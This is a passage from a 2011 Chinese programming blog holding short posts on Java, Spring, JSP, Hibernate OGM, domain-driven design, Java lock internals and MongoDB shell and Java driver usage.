         如果成功,则应该看到一个含有PHP徽标的网页,其中包含大量设置和其他信息
         那么恭喜你,环境已经搭建成功!

 

关键词:PHP   PHP5  Apache  MySQL  PHP运行环境 

posted @ 2011-07-07 12:05 jadmin 阅读(76) | 评论 (0)编辑 收藏

  Hibernate 团队对外宣布了一个新的家族成员,Hibernate OGM, OGM 是 Object Grid Mapping的缩写,它的目标是试图使用 JPA 来操作 NoSQL数据库,目前似乎局限于Infinispan 。

  目前支持的特性:

  • CRUD operations for entities
  • properties with simple (JDK) types
  • embeddable objects
  • entity hierarchy
  • identifier generators (TABLE and all in-memory based generators today)
  • optimistic locking
  • @ManyToOne,@OneToOne,@OneToManyand@ManyToManyassociations
  • bi-directional associations
  • Set,ListandMapsupport for collections
  • most Hibernate native APIs (likeSession) and JPA APIs (likeEntityManager)
  • same bootstrap model found in JPA or Hibernate Core: in JPA, set<provider>toorg.hibernate.ogm.jpa.HibernateOgmPersistenceand you're good to go

  下载:http://www.hibernate.org/subprojects/ogm/download

  参考手册:http://docs.jboss.org/hibernate/ogm/3.0/reference/en-US/html_single/

  PS:从目前情况看,不支持流行的 MongoDB 等等。与DataNucleus(http://www.datanucleus.org)在Backend的存储技术方面,还不能相提并论,DataNucleus支持JDO,JPA标准,支持目前几乎所有的流行的存储方式,Google的APPEngine也是基于DataNucleus的。


posted @ 2011-06-21 12:58 jadmin 阅读(133) | 评论 (0)编辑 收藏

  ”…在很多领域,专家的作用体现在他们的专业知识上而不是智力上。“

  --Don Reinertsen

  领域驱动设计(Domain Driven Design)是一种软件开发方法,目的是让软件系统在实现时准确的基于对真实业务过程的建模并根据真实业务过程的调整而调整。

  传统的开发工作趋向于一种以技术为先导的过程,需求从业务方传递到开发团队,开发人员依据需求上的描述创造出最有可能的假想。

  在瀑布开发过程中,这导致了大量的需要频繁校对,分析,复核和审批的需求文档。之后这些文档被交给开发团队去变成能够运行的软件。

  敏捷开发方法同样可以采纳瀑布模式过程中产生的需求文档,但敏捷方法在实际的处理过程中会把它们分成很小的任务和“故事”,之后的开发工作将依据这些任务的排序。

  领域驱动设计很大程度上使你从这两种截然不同的结果中抽身出来,让你能看到需求是如何在第一现场被收集到——如果你愿意看的话,它在动手先做的方式和在最后一分钟才做的方式之间做了弥补。

  领域驱动设计方式知道需求是永远不会“完成”的,需求就像一个活的文档。更重要的是,这些仍待讨论的活文档实际上就是软件自身——所有的文档都是程序代码的一种影像,一种演示品。

  随着软件系统的开发和发展,你对各种问题的理解也会更深——领域驱动设计就是要通过深入的理解问题来找到问题的解决方案。

  然而,领域驱动设计真正的不同之处却是,它把软件系统当作业务过程的一个影射,是使能动,而不是驱动。领域驱动设计是要你深入到业务过程中,了解业务术语和实践方法。技术方面的事被放在了第二位,只是最终的一种手段而已。

  Ubiquitous语言(UL)是领域驱动设计的中心——这是一种共有的不断成长的语言。它是一种来源于业务术语、经过开发团队的补充而产生 的协商后的语言。如果一个业务人员不懂得UL里的一个术语,有可能是UL需要改进发展。如果一个技术人员不懂得UL里的一个术语,有可能是他们需要跟领域 专家进行交流。

  领域专家是领域驱动设计里第二重要的组成部分——这些人能够对这个领域有深入的了解,包括这个业务本身。这些人构成了开发过程中必要的组成部 分。他们也许像一些敏捷开发方法里传统的产品拥有者那样不需要“全天候”的在职,但他们必须在开发过程中能被持续的接触到,而且随时准备好参与到开发过程 中。领域专家不能被当作门外人,而应被当作领域驱动设计过程中的核心——他们非常像是开发团队中的一部分,就像普通的开发者和测试者一样。

  领域驱动设计没有开始和结束——它是一个不断的再评估,再重构,再建模,再设计的持续过程——每一次的对话都会使你对问题有更进一步的理解。领 域驱动设计没有“完成”点——它永远都在进行;Ubiquitous语言会不断发展和成长,领域模型随着对业务理解的改变而改变,代码不断的再组织和重构 来更好的表现你的理解。

  各种模拟产物产生又抛弃,而唯一真正有意义的只有代码。它是解决方案的唯一表达,是一种不再抽象的表达。文档是用来解释和描述系统的,而只有代 码能不失分毫的做到这些。这就是说,在领域驱动设计里,代码必须保持高质量,要清晰,要有表达力,没有技术上省略和专门用语,尽可能的要让代码能够在被解 释时对领域专家有些意义。

  领域驱动设计里没有精巧的代码,也没有奇特的处理过程,或“你不需要知道”的模块。领域专家不需要成为开发人员来理解软件系统里用来做这些工作的关键部分是什么。他们同样也不需要考虑数据库或批处理任务或其他技术相关的方面。

  领域驱动设计是敏捷方法的终极表达——它是用来处理不断变化和发展的需求的——正如任何一个从未涉足软件项目的人都知道——一个项目的需求从开始到结束保持一成不变是极其罕见的,绝大多数情况是它会随着业务的增长和变化而变化。

  通过不断的交流,领域驱动设计会指导你用软件最精确的表达你的业务过程。

 

关键词:领域模型     设计     领域驱动设计

posted @ 2011-06-11 02:26 jadmin 阅读(83) | 评论 (0)编辑 收藏

这是一款开源PHP5写的MongoDB管理工具,项目地址:http://code.google.com/p/rock-php

 

具体安装使用可参考wiki --->http://code.google.com/p/rock-php/wiki/rock_mongo_zh

 

关键词:数据库   database  MongoDB   数据库连接   数据库管理工具  MongoDB管理工具

 

posted @ 2011-06-10 15:07 jadmin 阅读(113) | 评论 (0)编辑 收藏

TimeUnit是一个枚举类型,可以将时间方便快捷的转换为(天、时、分、秒、纳 秒)day,hour,minute,second,millli...
有了这个类我们可以方便将时间进行转换 


1、我们将1个小时转换为多少分钟、多少秒
  1小时转换分钟数为60分钟
  TimeUnit.HOURS.toMinutes(1) =>60
  1小时转换分钟数为3600秒
  TimeUnit.HOURS.toSeconds(1) =>3600
2、如果将秒转换为小时、分钟呢
  3600秒转换分钟数为60分钟
  TimeUnit.SECONDS.toMinutes(3600) =>60
  3600秒转换小时数为1小时
  TimeUnit.SECONDS.toHours(3600) =>1

posted @ 2011-06-10 09:23 jadmin 阅读(144) | 评论 (0)编辑 收藏

怎么有效的提高页面的打开速度,提高网站性能,发现查看网站页面源代码的时候,页面上充斥了无数的空格跟换行,

增加了页面的体积,这样会影响页面性能,为了有效的解决这个问题,现提供方法如下:

1、在工程的web.xml上加上如下配置

<web-app
   xmlns="http://java.sun.com/xml/ns/javaee"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://java.sun.com/xml/ns/javaeehttp://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
   metadata-complete="false"
   version="2.5">

<jsp-config>  
       <jsp-property-group>  
           <url-pattern>*.jsp</url-pattern>  
           <trim-directive-whitespaces>true</trim-directive-whitespaces>  
       </jsp-property-group>   
</jsp-config>

2、在每个JSP的头上加上一段代码 <%@ page trimDirectiveWhitespaces="true" %>

以上两种方法取其一即可,建议使用第一种。

PS:

第一种方式要求:web.xml 中的配置需在servlet2.5、tomcat6.0以上使用才会有效。
第二种方式要求:jsp版本需要在jsp2.1及以上版本使用才会有效。
低版本的环境下,使用仅无效果,不会对应用功能造成影响。

 

 JSP、SERVLET版本查看方式:

找到tomcat下的lib目录,查看jsp-api.jar和servlet-api.jar两个jar包,jar包里面的META-INF文件夹下的MANIFEST.MF文件,里面有相应的版本号
   如(jsp2.1):
   Name: javax/servlet/jsp/
   Specification-Title: Java API for JavaServer Pages
   Specification-Version: 2.1
   Specification-Vendor: Sun Microsystems, Inc.
   Implementation-Title: javax.servlet.jsp
   Implementation-Version: 2.1.FR
   Implementation-Vendor: Apache Software Foundation

原理: tomcat在将JSP解释成JAVA文件时,会根据trim-directive-whitespaces来判断,生成的代码在遇到jsp标签时,是否需要输出一段代码:

out.write("\r\n");

所以这种去空格的方式是在tomcat每次编译JSP时,就一次处理的,一旦jsp生成了对应的JAVA,后续的处理过程中,即不再去处理空格的问题,有效的节省资源。

 

posted @ 2011-06-09 18:29 jadmin 阅读(126) | 评论 (0)编辑 收藏

简介: Spring 的依赖配置方式与 Spring 框架的内核自身是松耦合设计的。然而,直到 Spring 3.0 以前,使用 XML 进行依赖配置几乎是唯一的选择。Spring 3.0 的出现改变了这一状况,它提供了一系列的针对依赖注入的注解,这使得 Spring IoC 在 XML 文件之外多了一种可行的选择。本文将详细介绍如何使用这些注解进行依赖配置的管理。

使用 @Repository、@Service、@Controller 和 @Component 将类标识为 Bean

Spring 自 2.0 版本开始,陆续引入了一些注解用于简化 Spring 的开发。@Repository 注解便属于最先引入的一批,它用于将数据访问层 (DAO 层 ) 的类标识为 Spring Bean。具体只需将该注解标注在 DAO 类上即可。同时,为了让 Spring 能够扫描类路径中的类并识别出 @Repository 注解,需要在 XML 配置文件中启用 Bean 的自动扫描功能,这可以通过 <context:component-scan/> 实现。如下所示:

posted @ 2011-06-09 16:17 jadmin 阅读(104) | 评论 (0)编辑 收藏

Java很多ThreadDump中,都可以看到Thin Lock, Fat Lock, Spin Lock,这些Lock都与Java语言、OS有密切的关系。
回到一个简单的问题,在Java中,如何实现Synchronizd?
最简单的一种做法是,利用OS的mutex机制,把Java的同步(基于Object),翻译成OS相关的monitor_enter和monitor_exit原语。

回到Java锁本身,锁在不同的应用下有着不同的统计表现,而大部分的统计数据表明,其实线程抢锁,即锁竞争,都是短暂的,在大部分的情况下,几乎都不会发生锁竞争的现象。
也就是说,Java锁,从安全性的角度来看,是有点累赘。
因此,大量的专家都在锁上针对这样的统计特性对Java锁进行优化。
其中一种优化方案是,我们对所有的锁都需要monitor_enter和monitor_exit吗?事实上不需要。

如果我们把monitor_enter/monitor_exit看成是Fat Lock方式,则可以把Thin Lock看成是一种基于CAS(Compare and Swap)的简易实现。
这两种锁,简单一点理解,就是:

而基于CAS方式的实现,线程进入竞争状态的,获得锁的线程,会让其他线程处于自旋状态(也称之为Spin Mode,即自旋),这是一种while(Lock_release) doStuff()的Busy-Wait方式,是一种耗CPU的方式;而Fat Lock方式下,一个线程获得锁的时候,其他线程可以先sleep,等锁释放后,再唤醒(Notify)。
CAS的优点是快,如果没有线程竞争的情况下,因为CAS只需要一个指令便获得锁,所以称之为Thin Lock,缺点也是很明显的,即如果频繁发生线程竞争,CAS是低效,主要表现为,排斥在锁之外的线程是Busy Wait状态;而monitor_enter/monitor_exit/monitor_notify方式,则是重量级的,在线程产生竞争的时候,Fat Lock在OS mutex方式下,可以实现no busy-wait。

于是,JVM早期版本的做法是,如果T1, T2,T3,T4...产生线程竞争,则T1通过CAS获得锁(此时是Thin Lock方式),如果T1在CAS期间获得锁,则T2,T3进入SPIN状态直到T1释放锁;而第二个获得锁的线程,比如T2,会将锁升级(Inflation)为Fat Lock,于是,以后尝试获得锁的线程都使用Mutex方式获得锁。

这种设计为锁提供了两条路径:Thin Lock路径和Fat Lock路径,大部分情况下,可能都是走Thin Lock路径,而可能少部分情况,是走Fat Lock路径,这种方式提供了锁升级,但是避免不了Busy Wait,而且Thin-Lock升级Fat-Lock之后,没有办法回退到Thin-Lock(性能比Fat-Lock更好)。

Tasuki锁为这种方式做了2个优化:
1) 避免CAS导致Busy wait
2) Fat Lock可以deflate(与Inflate刚好相反)为Thin Lock(之前是Thin Lock变成Fat Lock之后便不能再回退)。

经过这样的改造后,锁性能提高了10%以上。

目前,Oracle的BEA JRockit与IBM的JVM都实现了Tasuki锁机制,唯一的不同是,在锁实现上都做了不同启发式的设计,即根据运行时采样的数据,动态调整一些权值数据,一边左右Lock Inflation/Lock Defaltion的过程(一颗树的两个分支),获取更好的锁性能。

 

关键词:JAVA   对象锁   JVM   锁机制   JVM锁   LOCK


posted @ 2011-06-09 01:06 jadmin 阅读(113) | 评论 (0)编辑 收藏

顾名思义:同步任务是指事情需要一件一件的做,做完当前的任务,才能开始做下一任务;异步任务是指做当前任务的同时,后台还可以在执行其他任务,可理解为可同时执行多任务,不必一件一件接着去做,下面开始上例子了

1.同步任务

/*
 * @(#)SyncTaskExecutorTest.java    2011-4-27
 *
 * Copyright (c) 2011. All Rights Reserved.
 *
 */

package org.jsoft.opensource.demos.spring.task;

import org.junit.Test;
import org.springframework.core.task.SyncTaskExecutor;

/**
 * Spring同步任务处理
 *
 * @author <a href="mailto:hongyuan.czq@taobao.com">Gerald Chen</a>
 * @version $Id: SyncTaskExecutorTest.java,v 1.1 2011/05/30 08:58:07 gerald.chen Exp $
 */
public class SyncTaskExecutorTest {

    @Test
    public void test() throws InterruptedException {
        SyncTaskExecutor executor = new SyncTaskExecutor();
        executor.execute(new OutThread());
        System.out.println("Hello, World!");
        Thread.sleep(10000 * 1000L);
    }
    
    static class OutThread implements Runnable {

        public void run() {
            for (int i = 0; i < 1000; i++) {
                System.out.println(i + " start ...");
                try {
                    Thread.sleep(2 * 1000L);
                } catch (InterruptedException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
        }
        
    }

}

必须在线程任务执行完毕之后,"Hello,World!"才会被打印出来

2.异步任务

 /*
 * @(#)AsyncTaskExecutorTest.java    2011-4-27
 *
 * Copyright (c) 2011. All Rights Reserved.
 *
 */

package org.jsoft.opensource.demos.spring.task;

import org.junit.Test;
import org.springframework.core.task.AsyncTaskExecutor;
import org.springframework.core.task.SimpleAsyncTaskExecutor;

/**
 * Spring异步任务处理
 *
 * @author <a href="mailto:hongyuan.czq@taobao.com">Gerald Chen</a>
 * @version $Id: AsyncTaskExecutorTest.java,v 1.1 2011/05/30 08:58:07 gerald.chen Exp $
 */
public class AsyncTaskExecutorTest {

    @Test
    public void test() throws InterruptedException {
        AsyncTaskExecutor executor = new SimpleAsyncTaskExecutor("sys.out");
        executor.execute(new OutThread(), 50000L);
        System.out.println("Hello, World!");
        Thread.sleep(10000 * 1000L);
    }
    
    static class OutThread implements Runnable {

        public void run() {
            for (int i = 0; i < 100; i++) {
                System.out.println(i + " start ...");
                try {
                    Thread.sleep(2 * 1000L);
                } catch (InterruptedException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
        }
        
    }
}

"Hello,World!"被正常打印出来,线程任务在后台静静地执行.

 

关键词:JAVA   Spring   任务   同步   异步    软件工程师   程序员   编程

 

posted @ 2011-06-08 20:53 jadmin 阅读(757) | 评论 (0)编辑 收藏

一、DB Shell数据库操作

数据库

1、Help查看命令提示
help
db.help();
db.yourColl.help();
db.youColl.find().help();
rs.help();

2、切换/创建数据库
>use yourDB;
当创建一个集合(table)的时候会自动创建当前数据库

3、查询所有数据库
show dbs;

4、删除当前使用数据库
db.dropDatabase();

5、从指定主机上克隆数据库
db.cloneDatabase(“127.0.0.1”);
将指定机器上的数据库的数据克隆到当前数据库

6、从指定的机器上复制指定数据库数据到某个数据库
db.copyDatabase("mydb", "temp", "127.0.0.1");
将本机的mydb的数据复制到temp数据库中

7、修复当前数据库
db.repairDatabase();

8、查看当前使用的数据库
db.getName();
db;
db和getName方法是一样的效果,都可以查询当前使用的数据库

9、显示当前db状态
db.stats();

10、当前db版本
db.version();

11、查看当前db的链接机器地址

db.getMongo();

 

Collection聚集集合

1、创建一个聚集集合(table)
db.createCollection(“collName”, {size: 20, capped: 5, max: 100});

2、得到指定名称的聚集集合(table)
db.getCollection("account");

3、得到当前db的所有聚集集合
db.getCollectionNames();

4、显示当前db所有聚集索引的状态
db.printCollectionStats();

 

用户相关

1、添加一个用户
db.addUser("name");
db.addUser("userName", "pwd123", true);
添加用户、设置密码、是否只读

2、数据库认证、安全模式
db.auth("userName", "123123");

3、显示当前所有用户
show users;

4、删除用户
db.removeUser("userName");

 

其他

1、查询之前的错误信息
db.getPrevError();

2、清除错误记录
db.resetError();

 

二、Collection聚集集合操作

查看聚集集合基本信息

1、查看帮助
db.yourColl.help();


2、查询当前集合的数据条数
db.yourColl.count();

3、查看数据空间大小
db.userInfo.dataSize();

4、得到当前聚集集合所在的db
db.userInfo.getDB();

5、得到当前聚集的状态
db.userInfo.stats();

6、得到聚集集合总大小
db.userInfo.totalSize();

7、聚集集合储存空间大小
db.userInfo.storageSize();

8、Shard版本信息
db.userInfo.getShardVersion()

9、聚集集合重命名
db.userInfo.renameCollection("users");
将userInfo重命名为users

10、删除当前聚集集合
db.userInfo.drop();

 

聚集集合查询
1、查询所有记录
db.userInfo.find();
相当于:select * from userInfo;
默认每页显示20条记录,当显示不下的情况下,可以用it迭代命令查询下一页数据。注意:键入it命令不能带“;”
但是你可以设置每页显示数据的大小,用DBQuery.shellBatchSize = 50;这样每页就显示50条记录了。

2、查询去掉后的当前聚集集合中的某列的重复数据
db.userInfo.distinct("name");
会过滤掉name中的相同数据
相当于:select distict name from userInfo;

3、查询age = 22的记录
db.userInfo.find({"age": 22});
相当于: select * from userInfo where age = 22;

4、查询age > 22的记录
db.userInfo.find({age: {$gt: 22}});
相当于:select * from userInfo where age > 22;

5、查询age < 22的记录
db.userInfo.find({age: {$lt: 22}});
相当于:select * from userInfo where age < 22;

6、查询age >= 25的记录
db.userInfo.find({age: {$gte: 25}});
相当于:select * from userInfo where age >= 25;

7、查询age <= 25的记录
db.userInfo.find({age: {$lte: 25}});

8、查询age >= 23 并且 age <= 26
db.userInfo.find({age: {$gte: 23, $lte: 26}});

9、查询name中包含 mongo的数据
db.userInfo.find({name: /mongo/});
//相当于%%
select * from userInfo where name like ‘%mongo%’;

10、查询name中以mongo开头的
db.userInfo.find({name: /^mongo/});
select * from userInfo where name like ‘mongo%’;

11、查询指定列name、age数据
db.userInfo.find({}, {name: 1, age: 1});
相当于:select name, age from userInfo;
当然name也可以用true或false,当用ture的情况下河name:1效果一样,如果用false就是排除name,显示name以外的列信息。

12、查询指定列name、age数据, age > 25
db.userInfo.find({age: {$gt: 25}}, {name: 1, age: 1});
相当于:select name, age from userInfo where age > 25;

13、按照年龄排序
升序:db.userInfo.find().sort({age: 1});
降序:db.userInfo.find().sort({age: -1});

14、查询name = zhangsan, age = 22的数据
db.userInfo.find({name: 'zhangsan', age: 22});
相当于:select * from userInfo where name = ‘zhangsan’ and age = ‘22’;

15、查询前5条数据
db.userInfo.find().limit(5);
相当于:select top 5 * from userInfo;

16、查询10条以后的数据
db.userInfo.find().skip(10);
相当于:select * from userInfo where id not in (
select top 10 * from userInfo
);

17、查询在5-10之间的数据
db.userInfo.find().limit(10).skip(5);
可用于分页,limit是pageSize,skip是第几页*pageSize

18、or与 查询
db.userInfo.find({$or: [{age: 22}, {age: 25}]});
相当于:select * from userInfo where age = 22 or age = 25;

19、查询第一条数据
db.userInfo.findOne();
相当于:select top 1 * from userInfo;
db.userInfo.find().limit(1);

20、查询某个结果集的记录条数
db.userInfo.find({age: {$gte: 25}}).count();
相当于:select count(*) from userInfo where age >= 20;

21、按照某列进行排序
db.userInfo.find({sex: {$exists: true}}).count();
相当于:select count(sex) from userInfo;

索引

1、创建索引
db.userInfo.ensureIndex({name: 1});
db.userInfo.ensureIndex({name: 1, ts: -1});

2、查询当前聚集集合所有索引
db.userInfo.getIndexes();

3、查看总索引记录大小
db.userInfo.totalIndexSize();

4、读取当前集合的所有index信息
db.users.reIndex();

5、删除指定索引
db.users.dropIndex("name_1");

6、删除所有索引索引
db.users.dropIndexes();

修改、添加、删除集合数据
1、添加
db.users.save({name: ‘zhangsan’, age: 25, sex: true});
添加的数据的数据列,没有固定,根据添加的数据为准

2、修改
db.users.update({age: 25}, {$set: {name: 'changeName'}}, false, true);
相当于:update users set name = ‘changeName’ where age = 25;

db.users.update({name: 'Lisi'}, {$inc: {age: 50}}, false, true);
相当于:update users set age = age + 50 where name = ‘Lisi’;

db.users.update({name: 'Lisi'}, {$inc: {age: 50}, $set: {name: 'hoho'}}, false, true);
相当于:update users set age = age + 50, name = ‘hoho’ where name = ‘Lisi’;

3、删除
db.users.remove({age: 132});

4、查询修改删除
db.users.findAndModify({
    query: {age: {$gte: 25}},
    sort: {age: -1},
    update: {$set: {name: 'a2'}, $inc: {age: 2}},
    remove: true
});

db.runCommand({ findandmodify : "users",
    query: {age: {$gte: 25}},
    sort: {age: -1},
    update: {$set: {name: 'a2'}, $inc: {age: 2}},
    remove: true
});
update 或 remove 其中一个是必须的参数; 其他参数可选。

参数                                                                                              详解                                                                                        默认值
query                                                                                      查询过滤条件                                                                                       {}
sort         如果多个文档符合查询过滤条件,将以该参数指定的排列方式选择出排在首位的对象,该对象将被操作           {}
remove                                                             若为true,被选中对象将在返回前被删除                                                             N/A
update                                                                               一个 修改器对象                                                                                     N/A
new                                  若为true,将返回修改后的对象而不是原始对象。在删除操作中,该参数被忽略。                      false
fields                                                           参见Retrieving a Subset of Fields (1.5.0+)                                                            All fields
upsert                                                          创建新对象若查询结果为空。 示例 (1.5.4+)                                                             false

 

语句块操作
1、简单Hello World
print("Hello World!");
这种写法调用了print函数,和直接写入"Hello World!"的效果是一样的;

2、将一个对象转换成json
tojson(new Object());
tojson(new Object('a'));

3、循环添加数据
> for (var i = 0; i < 30; i++) {
    db.users.save({name: "u_" + i, age: 22 + i, sex: i % 2});
  };
这样就循环添加了30条数据,同样也可以省略括号的写法
> for (var i = 0; i < 30; i++) db.users.save({name: "u_" + i, age: 22 + i, sex: i % 2});
也是可以的,当你用db.users.find()查询的时候,显示多条数据而无法一页显示的情况下,可以用it查看下一页的信息;

4、find 游标查询
>var cursor = db.users.find();
> while (cursor.hasNext()) {
    printjson(cursor.next());
}
这样就查询所有的users信息,同样可以这样写
var cursor = db.users.find();
while (cursor.hasNext()) { printjson(cursor.next); }
同样可以省略{}号

5、forEach迭代循环
db.users.find().forEach(printjson);
forEach中必须传递一个函数来处理每条迭代的数据信息

6、将find游标当数组处理
var cursor = db.users.find();
cursor[4];
取得下标索引为4的那条数据
既然可以当做数组处理,那么就可以获得它的长度:cursor.length();或者cursor.count();
那样我们也可以用循环显示数据
for (var i = 0, len = c.length(); i < len; i++) printjson(c[i]);

7、将find游标转换成数组
> var arr = db.users.find().toArray();
> printjson(arr[2]);
用toArray方法将其转换为数组

8、定制我们自己的查询结果
只显示age <= 28的并且只显示age这列数据
db.users.find({age: {$lte: 28}}, {age: 1}).forEach(printjson);
db.users.find({age: {$lte: 28}}, {age: true}).forEach(printjson);
排除age的列
db.users.find({age: {$lte: 28}}, {age: false}).forEach(printjson);

9、forEach传递函数显示信息
db.things.find({x:4}).forEach(function(x) {print(tojson(x));});
上面介绍过forEach需要传递一个函数,函数会接受一个参数,就是当前循环的对象,然后在函数体重处理传入的参数信息。
 

posted @ 2011-06-08 20:13 jadmin 阅读(85) | 评论 (0)编辑 收藏

解决办法:

设置host,在文件 C:\Windows\System32\drivers\etc\hosts 中加入 66.249.89.99  code.google.com

 

posted @ 2011-06-08 15:45 jadmin 阅读(107) | 评论 (0)编辑 收藏

      SD Times高级编辑Alex Handy日前列出了当前使用Hadoop的项目中他认为最成功的五个。

posted @ 2011-06-06 23:10 jadmin 阅读(178) | 评论 (0)编辑 收藏

<script type="text/javascript">
function newGuid()
{
    var guid = "";
    for (var i = 1; i <= 32; i++) {
      var n = Math.floor(Math.random()*16.0).toString(16);
      guid +=   n;
      if((i==8)||(i==12)||(i==16)||(i==20))
        guid += "-";
    }
    return guid;   
}
</script>

 

posted @ 2011-06-01 21:06 jadmin 阅读(94) | 评论 (0)编辑 收藏

这两天在看《编程人生》,这本书确实非常不错。而且看得也特别的轻松。其中有几个人都谈到了如何学习新的语言,但是给我最深刻的是google的首席java架构师joshua bloch。正好最近我也在学习python,所以顺便总结一下如何学习一门新的语言。希望你能补充一些。

心态

这不但是学习一门新的语言最重要的,而是对任何的学习都是最重要的。下面是书中的描述,非常的精彩,特别是那个比喻:

“学习一门新的语言的时候,要利用以前所学的语言的功底,但是也要保持开放的心态。有些人执着于一种理念:“这就是写所有程序必须遵循的方法”。我不是说那种语言,但是某些语言,令人执着于这样的理念。当开始学习新语言的时候,他们会批评这种语言跟真正神的语言的所有的不同之处。当使用新语言时,他们极力使用神的语言的方法去写。这样,你就会错过这个新语言真正的独特之处。
这就像你本来只有一个榔头,有人给了你一个螺丝刀,你说“哎,这不是一把好榔头,但是我应该可以倒着拿螺丝刀,用螺丝刀来砸东西。”你得到了一个很烂的榔头,但事实上它确实一把很不错的螺丝刀。所以你应该对所有的事物保持开放和积极的心态。”

如果你的杯子满了,那他永远再也装不进水了。如果你认为你找到了银弹,那么你可能就要固步自封了。

对新的事物,方法保持一个开发而积极的心态,才能真正了解他,了解他的独特之处。

这一点相对来说比较难,程序员一般对他们的语言有一种近乎固执的偏爱。Paul Graham在《黑客与画家》中好像提到过,开发语言是程序员的宗教信仰,贬低一种语言对使用这种语言的程序员是一种侮辱。

了解他的历史,哲学观

选择一门语言,往往选择了一种思维方式和哲学观。所以,了解一门语言的历史和哲学观非常重要。你要知道这门语言是谁创建的,为什么创建,如何发展起来的,适合那些领域,以及解决问题的哲学是什么。

那python来说,他的设计哲学是“用一种方法,最好是只有一种方法来做一件事”,而perl的设计哲学是“总有多种方法来做同一件事”。所以,我选择的是python。

了解这方面的知识的一个非常好的来源是百科网站。

代码,代码,还是代码

代码是学习一门语言的必经之路,可能也是最快的一种方法。

你不但要找一些优秀的代码来阅读,还要亲自动手来写代码。这个过程对学习语言来说是非常快的。另外,你一定要用语言去解决实际的问题,而不仅仅是写代码来验证语法。在解决问题的过程中,你可以学习它是如何解决问题的,而且会积累语言的经验。

在工作中使用一门新的语言来开发新项目的风险相对较大,所以,如果再工作中尝试使用新的语言,可以选择一些小的项目来积累经验。如果工作中无法使用这个语言,那么就在业余使用这个语言解决问题吧。

社区

多去这个语言的社区逛逛吧,这里有很多人在讨论这种语言,和他们一起讨论你能够学到更多。


本文转自CSDN博客

posted @ 2011-06-01 12:48 jadmin 阅读(65) | 评论 (0)编辑 收藏

/**
* Java + MongoDB in Secure Mode
*
* @author <a href="mailto:gerald.chen@qq.com">Gerald Chen</a>
* @version $Id: AuthTest.java,v 1.1 2011/05/27 07:24:04 gerald.chen Exp $
*/

public class AuthTest {
 
/** 数据库连接IP */
public static final String DB_HOST ="192.168.35.101";
 
/** 数据库连接端口 */
public static final int DB_PORT =27017;
 
public static void main(String[] args) throws Exception, MongoException {
      Mongo mongo =new Mongo(DB_HOST, DB_PORT);
      DB db = mongo.getDB("test_db");
 
      boolean auth = db.authenticate("gerald", "123456".toCharArray());
      System.out.println(auth);
 
      DBCollection collection = db.getCollection("test_collection");
      System.out.println(collection.getFullName());
 
}
 
}

posted @ 2011-05-27 15:42 jadmin 阅读(87) | 评论 (0)编辑 收藏

1.进入mongodb命令行管理
C:\Documents and Settings\Administrator>mongo
MongoDB shell version: 1.8.1
connecting to: test

 

2.显示数据库
> show dbs
admin   (empty)
local   (empty)
test_db 0.03125GB

 

3.使用数据库
> use test_db
switched to db test_db

 

4.添加数据库用户
> db.users.save({username:"gerald"})

 

5.查找数据库用户
> db.users.find()
{ "_id" : ObjectId("4ddf396e641b4986d346fe89"), "username" : "gerald" }

 

6.添加隶属于某个数据库的用户
> use test_db
switched to db test_db
> db.addUser("gerald","123456")
{
        "user" : "gerald",
        "readOnly" : false,
        "pwd" : "f528f606b8635241c7f060408973b5b9"
}

 

7.以用户验证的身份登录数据库
> use test_db
switched to db test_db
> db.auth("gerald","123456")
1

PS: 1代表验证成功, 0代表验证失败

 

关键词:数据库  NoSQL  MongoDB  Database

 

posted @ 2011-05-27 15:38 jadmin 阅读(99) | 评论 (0)编辑 收藏

1.准备

     下载Mongo Java Driver,下载地址:https://github.com/downloads/mongodb/mongo-java-driver/mongo-2.5.3.jar

     如果是使用maven编译,可在pom.xml文件中加入如下依赖

     <dependency>
          <groupId>org.mongodb</groupId>
          <artifactId>mongo-java-driver</artifactId>
          <version>2.5.3</version>
     </dependency>

2.上程序

/**
 * MongoDB学习之HelloWorld
 *
 * @author <a href="mailto:gerald.chen@qq.com">GeraldChen</a>
 * @version $Id: HelloWorldTest.java,v 1.1 2011/05/26 12:42:45 gerald.chen Exp $
 */
public class HelloWorldTest {

      /** 数据库连接IP */
     public static final String DB_HOST = "192.168.35.101";

     /** 数据库连接端口 */
     public static final int DB_PORT = 27017;

     public static void main(String[] args) throws Exception {
         // connect to mongoDB, ip and port number
         Mongo mongo = new Mongo(DB_HOST, DB_PORT);

         // get database from MongoDB,
         // if database doesn't exists, mongoDB will create it automatically
         DB db = mongo.getDB("test_db");

         // Get collection from MongoDB, database named "yourDB"
         // if collection doesn't exists, mongoDB will create it automatically
         DBCollection collection = db.getCollection("test_collection");

         // create a document to store key and value
         BasicDBObject document = new BasicDBObject();
         document.put("id", 1001);
         document.put("message", "hello world mongoDB in Java");

         // save it into collection named "yourCollection"
         collection.insert(document);

         // search query
         BasicDBObject searchQuery = new BasicDBObject();
         searchQuery.put("id", 1001);

         // query it
         DBCursor cursor = collection.find(searchQuery);

         // loop over the cursor and display the retrieved result
         while (cursor.hasNext()) {
                  System.out.println(cursor.next());
         }
         System.out.println("Done");
   }

}

2.程序输出


关键词:HelloWorld   MongoDB   NoSQL   JAVA    程序   软件   数据库   程序员
 

posted @ 2011-05-26 20:47 jadmin 阅读(90) | 评论 (0)编辑 收藏

       继上一篇MongoDB学习——安装与配置 ,我们接着来看下如何将MongoDB安装为Windows的服务:

1.服务化

       在命令窗口运行如下命令即可:

       #>mongod --dbpath "G:\database\mongodb\data" --logpath "G:\database\mongodb\logs.txt" --install --serviceName "MongoDB"

       其中"G:\database\mongodb\data"为MongoDB的数据目录

2.卸载服务

       执行命令:

       #>mongod --remove --serviceName "MongoDB"

 

关键词:HelloWorld   MongoDB   NoSQL   JAVA    程序   软件   数据库   程序员

 

posted @ 2011-05-25 20:57 jadmin 阅读(109) | 评论 (0)编辑 收藏

1.MongoDB介绍

  MongoDB是一个基于分布式文件存储的数据库。由C++语言编写。旨在为WEB应用提供可扩展的高性能数据存储解决方案。
  它的特点是高性能、易部署、易使用,存储数据非常方便。主要功能特性有:
  *面向集合存储,易存储对象类型的数据。
  *模式自由。
  *支持动态查询。
  *支持完全索引,包含内部对象。
  *支持查询。
  *支持复制和故障恢复。
  *使用高效的二进制数据存储,包括大型对象(如视频等)。
  *自动处理碎片,以支持云计算层次的扩展性
